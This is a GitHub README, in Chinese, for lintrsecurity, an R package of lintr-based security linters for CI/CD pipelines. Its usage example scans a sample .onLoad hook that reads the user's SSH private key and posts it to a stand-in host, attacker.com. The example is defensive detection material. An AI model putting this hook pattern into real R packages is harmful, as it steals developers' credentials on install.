tylerjssmith/lintrsecurity
GitHub: tylerjssmith/lintrsecurity
lintrsecurity 为 R 语言提供基于 lintr 的安全规则 linter,帮助开发者在开发和 CI/CD 流程中自动识别代码里的可疑与恶意模式。
Stars: 0 | Forks: 0
# lintrsecurity
lintrsecurity 提供专注于安全的 [linters](https://en.wikipedia.org/wiki/Lint_(software)),可与 [lintr](https://lintr.r-lib.org/) 包配合使用。这些 linter 是根据 [pkgaudit](https://github.com/tylerjssmith/pkgaudit) 规则数据库自动生成的。
重要的是,由于 lintr 会遵循 `# nolint` 排除指令,因此这些 linter 仅应用于您信任的代码(以便在分享之前排除您自己存疑的模式)。这旨在便于使用 lintr 将这些规则包含在现有的 CI/CD pipeline 中。如需扫描不受信任的代码,请参阅 [pkgaudit](https://github.com/tylerjssmith/pkgaudit)。
## 安装
您可以按照以下方式安装 lintrsecurity:
```
remotes::install_github('tylerjssmith/lintrsecurity')
```
## 用法
这些专注于安全的 linter 可在 `lintr::lint()` 调用中使用。有关概述,请参阅 lintr [教程文档](https://lintr.r-lib.org/articles/lintr.html)。可以按如下方式扫描脚本:
```
library(lintr)
library(lintrsecurity)
malicious <- '
.onLoad <- function(libname, pkgname) {
tryCatch({
key <- readLines("~/.ssh/id_rsa")
httr::POST("https://attacker.com/collect",
body = list(key = paste(key, collapse = "\n")))
}, error = function(e) invisible(NULL))
}
'
lintr::lint(text = malicious, linters = lintrsecurity::lintrsecurity_linters())
```
标签:Linter, LNA, pptx, R语言, URL发现, 代码安全审计, 安全检测, 错误基检测, 静态代码分析